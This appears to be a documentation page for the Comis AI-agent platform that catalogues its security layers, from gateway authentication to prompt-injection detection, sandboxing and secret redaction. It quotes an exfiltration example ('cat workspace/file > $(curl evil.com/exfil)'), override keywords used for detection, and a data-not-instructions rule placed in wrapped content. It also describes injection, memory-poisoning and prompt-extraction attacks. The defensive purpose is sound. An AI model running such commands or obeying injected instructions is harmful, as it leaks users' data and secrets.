Skip to main content
Defense in depth means no single security measure is expected to catch everything. Instead, Comis layers multiple protections at every stage of message processing. If a manipulation attempt slips past input validation, the jailbreak detector catches it. If a secret leaks into an agent’s response, the output guard redacts it before it reaches the user. This page catalogs every security layer and explains what it does, why it matters, and whether you need to configure it.
Two ways to count. Comis groups its protections into 22 categorical layers spanning 8 defensive categories (the headline number you will see in marketing material). When you enumerate every distinct security primitive in the source tree, the count is 24 implementation primitives plus 1 build-time enforcement layer (ESLint security rules). Both numbers refer to the same defenses; they just slice them at different abstraction levels. This page presents all 24 primitives grouped by request-lifecycle checkpoint.

How the Layers Work Together

Every message passes through six security checkpoints as it moves through Comis. Each checkpoint has its own set of protections, and the layers at each checkpoint work independently. This means a failure in one layer does not compromise the others.
  1. At the gateway — Bearer token authentication and (optionally) mTLS verify the client before the request enters Comis
  2. When a message arrives — Input is validated, scanned for manipulation, rate-limited, and (for email) sender-filtered before your agent sees it
  3. When skills load — Skill content is scanned for threats and sanitized before it can influence your agent
  4. When the agent acts — Actions are classified, restricted by tool policy, may require approval, shell commands are inspected for substitution, and the exec tool runs inside an OS-level filesystem sandbox
  5. When a response is sent — Output is scanned for leaked secrets and canary token extraction before the user sees it
  6. When data is stored — Memory writes are validated, secrets are encrypted, and config is redacted
Most of these layers are automatic. The sections below tell you which ones need configuration.

Security Layers

At the Gateway

Comis exposes its HTTP, JSON-RPC, and WebSocket endpoints through a single gateway. Two layers protect that perimeter before any request even reaches the input checkpoint.
What it does: Every API client must present a bearer token. Tokens are compared in constant time using crypto.timingSafeEqual() — the server compares against every entry even when the first one already matched — so attackers cannot probe valid tokens by measuring response time. Each token has a list of allowed scopes (e.g., rpc, ws, admin).Why it matters: Without authentication, anyone who can reach the gateway can drive your agents, read messages, and edit configuration. Timing-safe comparison closes the side-channel that naive string equality opens.Do I need to configure it? Yes — supply tokens under gateway.tokens in your config. See Hardening for a worked example.
What it does: Validates the gateway’s server certificate, key, and CA certificate at startup (PEM format and expiry checks via X509Certificate) and — when configured — requires clients to present a valid certificate signed by the configured CA. Client identity is extracted from the cert’s Common Name (CN).Why it matters: TLS encrypts traffic so bearer tokens cannot be intercepted on the network. Mutual TLS extends that to client authentication: only holders of an enrolled cert can connect at all.Do I need to configure it? Optional but recommended for any remote deployment. Set gateway.tls.certPath, keyPath, and caPath. See Hardening for the full setup.

When a Message Arrives

The first checkpoint protects against malicious or malformed input. These layers run before your agent processes the message.
What it does: Checks every incoming message for structural problems — excessive length (over 100,000 characters), null bytes, abnormal whitespace ratios, and repetitive content.Why it matters: Prevents malformed messages from reaching your agent and consuming resources.Do I need to configure it? No. Always active with no configuration needed. Messages that fail validation are rejected before reaching your agent.
What it does: Scans messages for manipulation attempts across 13 weighted pattern categories, drawing from a library of 65 distinct injection patterns across 8 categories (jailbreak phrasing, role markers, dangerous commands, secret formats, prompt extraction, credential logging, invisible characters, and the content scanner). Includes typoglycemia detection on 8 key terms (ignore, previous, instructions, system, bypass, override, forget, delete).Why it matters: Catches attempts to trick your agent into ignoring its safety instructions. Even sophisticated multi-step manipulation attempts are detected.Do I need to configure it? No. Active by default in “warn” mode — it reinforces agent instructions when suspicious patterns are detected without blocking messages outright. Configurable thresholds: mediumThreshold (default 0.4), highThreshold (default 0.7), action (warn default, or block).
What it does: Tracks repeated suspicious messages from the same user. After 3 flagged messages in 5 minutes, escalates to warnings. After 5, triggers an audit event.Why it matters: Detects persistent manipulation attempts that might individually score below the detection threshold. A single suspicious message might not trigger action, but a pattern of them does.Do I need to configure it? No. Always active with sensible defaults.
What it does: When your agent fetches web pages, reads emails, or processes webhook content, that external content is wrapped in security boundaries with cryptographically random delimiters (24 hex chars = 12 random bytes per wrap). The wrapped block also embeds a 9-line SECURITY NOTICE telling the model to treat the content as data, not instructions, and runs the content through 17 jailbreak/command pattern detectors.Why it matters: A common attack is embedding hidden instructions in web pages that your agent might fetch. Content wrapping neutralizes this. Sources: email, webhook, api, file_read, web_fetch, channel_metadata, web_search, document.Do I need to configure it? No. Automatically applied to all external content sources.
What it does: Restricts incoming email to whitelisted addresses. Mode allowlist (default) closes the door unless the sender appears in allowFrom; mode open accepts any sender. The filter also auto-detects bulk and automated email by inspecting RFC 3834 Auto-Submitted, Precedence, List-Unsubscribe, and X-Auto-Response-Suppress headers, plus noreply address patterns.Why it matters: Email is the easiest way to inject prompts into an agent. A locked-down sender list keeps adversaries from emailing your agent at all.Do I need to configure it? Yes if you enable the email channel. Set channels.email.allowMode and channels.email.allowFrom in your config. The default is fail-closed: empty allowlist blocks everything.

When Skills Load

Custom skills can contain anything — including dangerous instructions. These layers ensure that skill content is safe before your agent uses it.
What it does: Scans custom skill content for 6 threat categories: command execution, environment variable harvesting, cryptocurrency mining, network exfiltration, obfuscated encoding, and XML injection.Why it matters: Prevents malicious or compromised skills from running dangerous operations. Skills that contain critical threats are blocked from loading entirely.Do I need to configure it? Enabled by default. You can adjust the scanning behavior if needed. See Security Scanning for the full scanner documentation and configuration options.Default: skills.contentScanning.enabled: true, skills.contentScanning.blockOnCritical: true
What it does: A 4-step pipeline that cleans all skill content: strips HTML comments, normalizes Unicode (NFKC), removes invisible characters, and enforces a 20,000-character size limit.Why it matters: Removes hidden content that scanners might miss, like invisible Unicode characters or HTML comment injections.Do I need to configure it? No. Always active for all skills. See Security Scanning for details.

When the Agent Acts

Once your agent decides to take an action, these layers control what it is allowed to do and how much it can spend. This is where tool restrictions, action classifications, human approval, and network safety come into play. This checkpoint has the most layers because agent actions carry the highest risk.
What it does: Controls which tools each agent can access. Five built-in profiles (minimal, coding, messaging, supervisor, full) plus custom allow/deny lists.Why it matters: Limits what agents can do based on their role. A customer-support agent does not need file system access. A monitoring agent does not need to send messages.Do I need to configure it? Default profile is full (unrestricted). For production, restrict each agent to the minimum set of tools it needs. See Tool Policy to restrict access.
What it does: Every agent action is classified as read (safe), mutate (modifying), or destructive (irreversible). Over 100 actions are registered with specific classifications. Unknown actions default to “destructive” (fail-closed).Why it matters: Enables confirmation requirements and approval workflows based on action severity.Do I need to configure it? Yes — you can control which classifications require confirmation. See Approvals.Default: security.actionConfirmation.requireForDestructive: true, security.actionConfirmation.requireForSensitive: false
What it does: Pauses agent execution when a privileged action is attempted, waits for human approval (via dashboard, RPC, or channel DM), and auto-denies if the timeout expires. The gate uses two caches so repeated requests do not flood operators:
  • Denial cache (60s by default) auto-denies an identical request that was just denied
  • Approval cache (30s by default) auto-approves an identical request that was just approved (set to 0 to disable batching)
Multiple concurrent requests for the same action join the existing pending entry as “batch followers” so a single approval resolves all of them. The pending state serializes/restores on daemon restart.Why it matters: Gives you a human-in-the-loop checkpoint for high-risk operations like file deletion or configuration changes, without requiring you to click Approve 50 times when an agent retries.Do I need to configure it? Yes — disabled by default. See Approvals.Default: approvals.enabled: false, approvals.defaultTimeoutMs: 300000, approvals.denialCacheTtlMs: 60000, approvals.batchApprovalTtlMs: 30000
What it does: Tracks API spending per execution and per day. Circuit breaker pauses agents that exceed error thresholds.Why it matters: Prevents runaway costs from infinite loops or malfunctioning agents. The circuit breaker automatically pauses agents that hit repeated errors.Do I need to configure it? Enabled by default with sensible limits. You can adjust the budget amounts and circuit breaker thresholds per agent. See Safety for budget and circuit breaker configuration.
What it does: Validates every outbound URL before fetching. Blocks private IP addresses (10.x, 192.168.x, 127.x), loopback addresses, link-local addresses, and cloud metadata endpoints (169.254.169.254).Why it matters: Prevents attackers from tricking your agent into accessing internal services or cloud credentials. This is a critical protection for any agent that can fetch URLs.Do I need to configure it? No. Always active for all web-facing tools. URLs are validated at the DNS level before any connection is made.
What it does: Validates all file paths to prevent directory traversal attacks (../), URL-encoded traversal, null byte injection, and symlink escapes.Why it matters: Prevents agents from accessing files outside their allowed directories.Do I need to configure it? No. Always active for all file operations. Paths are validated before any read or write occurs.
What it does: A pre-sandbox check that inspects every shell command string for dangerous substitution before the sandbox even runs. Catches command substitution $(...), backtick substitution `...`, process substitution <(...) and >(...), zsh process substitution =(...), and zsh equals expansion (=cmd at a word boundary). The validator is quote-aware: a state machine tracks whether the parser is inside single quotes (where these patterns are safe), double quotes, or backticks, so legitimate strings containing $( are not flagged.Why it matters: The OS sandbox isolates the filesystem, but it does not parse shell syntax. A command like cat workspace/file > $(curl evil.com/exfil) runs inside the sandbox and exfiltrates data to an attacker. This validator rejects the command before it ever reaches the shell.Do I need to configure it? No. Always active for the system.exec tool.
What it does: Wraps every system.exec tool command in an OS-level filesystem sandbox (bubblewrap on Linux, sandbox-exec on macOS). The sandboxed process can only see the agent’s workspace, the graph shared directory, and system binaries — everything else on the host filesystem is invisible.Why it matters: File tools (read, write, edit) are protected by Safe Path validation, but the exec tool spawns a full shell that can access any path. Without the sandbox, an agent could bypass file tool restrictions by running exec cat /path/to/secret instead of using the read tool. The OS sandbox closes this gap at the kernel level.Important scope note: The exec sandbox protects only the system.exec tool. Built-in tools that run inside the daemon process (Node-resident skills, MCP stdio servers, image-gen helpers) are not wrapped by this sandbox — their security relies on the application-level layers above (tool policy, content scanner, SSRF guard, safe path).Do I need to configure it? Enabled by default. On Linux, install bubblewrap (apt install bubblewrap). On macOS, sandbox-exec is built in. Set execSandbox.enabled: "never" to disable (not recommended). See Exec Sandbox.
Category: Secrets / NetworkWhat it does: Keeps API keys out of the exec sandbox entirely. When an agent drives an API-key CLI (Claude Code, curl, etc.), the real secret stays in the daemon’s encrypted SecretManager store and is injected at the TLS network boundary (HTTPS MITM). The sandbox process sees only a placeholder value — cat /proc/self/environ and env reveal nothing useful. Every inject, deny, and blocked-egress event is audited on the event bus with agentId and traceId. On Linux, the credentialed sandbox runs in broker-only network mode where the broker unix socket is the only bind-mounted network path — making it the only reachable egress destination for driven-CLI traffic (kernel-enforced; validated on the Linux production host class). The broker is fail-closed: no binding or missing secret means the request is refused rather than forwarded.Why it matters: Even inside a filesystem sandbox, a process can read its own environment variables. The credential broker removes the credential from that environment entirely, so no amount of prompt injection or sandbox escape can extract the real API key from inside the namespace.Do I need to configure it? Yes — configure an executor.broker.bindings entry for each CLI you want to drive. Two built-in presets ship today: anthropic and finnhub. Custom hostRules cover any other host. See Credential Broker.

When a Response Is Sent

Before any message reaches the user, these layers perform a final safety check. They are your last line of defense against leaked secrets and prompt extraction.
What it does: Scans every agent response for 15 secret patterns (AWS access key IDs, hex secrets, base64 secrets, private key headers, GitHub tokens, Slack tokens, Anthropic keys, OpenAI project keys, Telegram bot tokens, Discord bot tokens, Google API keys, DB connection strings, generic API key assignments, plus warning-only patterns for Bearer tokens and JWTs). Critical findings are replaced with [REDACTED:pattern_name] before the response reaches the user. The guard also runs the two prompt-extraction patterns (system_prompt_label, instructions_label), the canary token check, and an exact-match redaction of the daemon’s own known secret values (e.g. the resolved gateway token) — this catches a bare high-entropy secret that has no key=/token: prefix for the regex patterns to anchor on, with zero false-positive risk.Why it matters: Even if your agent accidentally includes a secret in its response, users never see it.Do I need to configure it? No. Always active. Redaction happens automatically before the message leaves Comis.
What it does: Embeds a unique cryptographic token in each agent’s system prompt. If this token appears in an agent’s output, it means the system prompt was extracted — a prompt injection attack.Why it matters: Detects prompt extraction attacks that other layers might miss.Do I need to configure it? No. Automatic and invisible. Each agent gets its own unique canary token.
What it does: Scrubs 18 credential patterns from all log output using regex-based redaction (Anthropic, OpenAI project, generic sk-, Bearer, Telegram bot, AWS access key, AWS secret key, Stripe, Google, Slack app, SendGrid, JWT, DB connection strings, URL passwords, Discord bot, hex secrets, GitHub tokens). Inputs over 1 MB pass through unchanged to avoid ReDoS on oversized strings.Pino’s structured-field redactor is the first line of defense and auto-redacts the canonical credential keys (apiKey, token, password, secret, authorization, botToken, privateKey, cookie, webhookSecret) up to three levels deep. The Log Sanitizer is a regex safety net for credentials that escape into free-text log messages.Why it matters: Prevents accidental credential exposure in log files, which are often shared with team members for debugging or sent to log aggregation services.Do I need to configure it? Enabled by default. Toggle with security.logRedaction: true (default).

When Data Is Stored

The final checkpoint protects data at rest. These layers ensure that stored memories, secrets, and configuration values cannot be compromised even if someone gains access to your server’s file system.
What it does: Scans content before it is saved to agent memory. Classifies writes as CLEAN, WARN, or CRITICAL based on injection pattern analysis.Why it matters: Prevents “memory poisoning” where an attacker stores malicious instructions that are later retrieved via search and executed as if they were trusted knowledge.Do I need to configure it? No. Always active for all memory write operations.
What it does: Encrypts your API keys and passwords with AES-256-GCM using HKDF-SHA256 key derivation. Each encryption uses a fresh 32-byte salt and 12-byte IV; the 16-byte authentication tag detects tampering on decrypt. The HKDF info string (comis-secrets-v1) is versioned so the algorithm can be rotated without breaking older ciphertexts. Even if someone accesses your files, they cannot read secrets without the master key.Why it matters: Protects credentials at rest. Essential for any production deployment where server files could potentially be accessed by unauthorized parties.Do I need to configure it? No — enabled by default. See Secrets to manage the master key or switch the storage backend.Default: security.storage: encrypted
What it does: Every credential read in Comis goes through a single SecretManager interface with only four methods (get, has, require, keys). Direct process.env access is forbidden by an ESLint rule, so the manager is the only auditable path to a credential. The manager takes a defensive copy of the env on creation — mutations to process.env after startup do not change what the manager exposes — and has no enumeration / getAll() escape hatch.Why it matters: Centralizing credential access means every read can be logged, scoped, or denied. ESLint enforcement means a developer cannot accidentally bypass it.Do I need to configure it? No. Always active.
What it does: Wraps the base SecretManager per agent. Each agent gets a glob-pattern allowlist (secrets.allow: ["openai_*", ...]) that filters which secret names it can read. Successful reads, denied reads, and missing-key reads all emit secret:accessed audit events tagged with the agent ID. An empty allowlist falls back to unrestricted access (with a one-time warning) for backward compatibility.Why it matters: Implements least-privilege at the credential layer. A customer-support agent never needs your AWS keys; this layer makes that explicit and auditable.Do I need to configure it? Yes — recommended for production. Set agents.<id>.secrets.allow per agent. See Secrets.
What it does: Resolves YAML config values written as ${VAR} or SecretRef objects from three providers:
  • env — routed through SecretManager for auditability
  • file — absolute path, regular-file check, no symlinks to restricted paths, max 1MB, JSON Pointer extraction via provider#/json/pointer
  • exec — launches a credential helper, sends a versioned JSON-RPC request, validates the response shape, 10-second default timeout
Why it matters: Lets you keep secrets out of the config file entirely (e.g., pull them from pass, 1Password, aws-vault, or a sealed file at deploy time) without any plaintext on disk.Do I need to configure it? No — the resolver runs whenever your config contains a SecretRef. See Secret Manager Reference for the full syntax.
What it does: When config is read via the API or dashboard, secret-bearing fields are automatically replaced with [REDACTED].Why it matters: Prevents credential exposure through the management API or dashboard views.Do I need to configure it? No. Always active for config read operations. Both the HTTP API and the web dashboard use this redaction layer.

Build-Time Enforcement

In addition to the 24 runtime primitives above, Comis enforces four security rules at lint time (pnpm lint:security). CI fails if any of them trip:
  1. No eval() — via security/detect-eval-with-expression
  2. No Function() constructor — equivalent to eval, banned via AST selector
  3. No raw path.join() — forces every path operation through safePath()
  4. No direct process.env — forces every credential access through SecretManager
These four rules prevent whole classes of vulnerability from ever shipping.

Putting It All Together

With 22 categorical layers (24 runtime primitives plus 4 build-time ESLint rules) working across 6 checkpoints, the security model ensures that threats are caught at multiple stages. Even in the worst case — where several layers fail simultaneously — the remaining layers still provide meaningful protection. Most of the layers listed above are automatic and require no configuration. The ones that do need setup — gateway tokens, mTLS, encrypted secrets, approval workflows, tool policy, email allowlist — are covered in their own dedicated guides. You can verify that all layers are properly configured by running comis doctor, which checks your installation against recommended security practices. See Hardening for the full walkthrough.

Local Model Security Posture (v2.14)

The Model-Independent Guarantee

The Comis security guarantee is a property of the platform, not the model. When you configure a local or quantized model (e.g., qwen3.6:27b, qwen3.6:35b-mlx), the following platform controls are enforced regardless of which model is configured:
ControlEnforced byWhat it prevents
Output redactionOutputGuardCredential and canary token leak in agent responses
Memory recall trust-filterFROZEN_TRUST_PATHSInjected or fabricated memories from elevating trust level
Untrusted content wrappingwrapExternalContentTool results, image inputs, and external content treated as untrusted
Memory write validationMemoryWriteValidatorUnauthorized memory writes or privilege-escalation via memory injection
Exec 13-gate denylist + bwrap sandboxExec security layerShell command injection and filesystem escape
Canary tokenPer-session canaryExfiltration detection (canary in output → blocked)
Input security guardInputSecurityGuardPrompt injection patterns in inbound messages
The v2.14 matrix baseline (Phase 149) confirmed this empirically: injection-resisted=100%, secret-leaked=0%, over-refused=0% across all 8 qwen3.6 batches (fair and bare prompts, 27b through 35b, GGUF and MLX). A platform-level control held by OutputGuard, FROZEN_TRUST_PATHS, and the exec sandbox does not depend on the model’s instruction-following quality.

securityLevel Scales Inversely with capabilityClass

When capabilityClass is set to a weaker class (e.g., via providers.entries.<id>.capabilities.capabilityClass: small), the platform automatically increases lockdown intensity:
capabilityClasssecurityLevelLockdown behavior
frontierstandardStandard safety reinforcement
midhardenedHardened warning in compact-secure prompt
smalllockedMandatory sandbox restriction line injected into compact-secure prompt
nanolockedSame as small
Unknown / unresolvedlockedFail-closed: unknown model defaults to the most-locked class
A weaker model receives more platform scaffolding, not less. The compact-secure prompt (contextEngine.compactPrompt.enabled=true) always retains the full safety core regardless of capabilityClass.

Egress Governance Posture

Local-only egress is the default. When running Comis with a local model (Ollama), no model inference data leaves the device. This is the documented and recommended posture for privacy-sensitive deployments. Off-device escalation to a cloud model (Phase 156 / E1+S5) is deferred and not currently built. When implemented, it will require:
  • Explicit operator opt-in
  • OutputGuard redaction of all payloads before off-device transmission
  • Payload scope-limit (no full context exfiltration)
  • Canary token in escalated payload (exfiltration detection)
The default escalation target for a local-first deploy would be a larger local model (e.g., escalating from qwen3.6:27b to qwen3.6:35b) — no off-device egress required. See the qwen3.6 configuration reference for the complete config.yaml snippet with all security-relevant settings. For model selection guidance: use general-purpose qwen3.6 variants (not coding-tuned models) for agent reliability. Coding-tuned models can exhibit goal fixation that the GoalAnchor and verification critic are designed to detect and correct — but general models avoid the issue in the first place.

Security Overview

Back to security overview

Secrets

Set up the encrypted secrets store

Approvals

Configure human-in-the-loop approval

Hardening

Follow the hardening checklist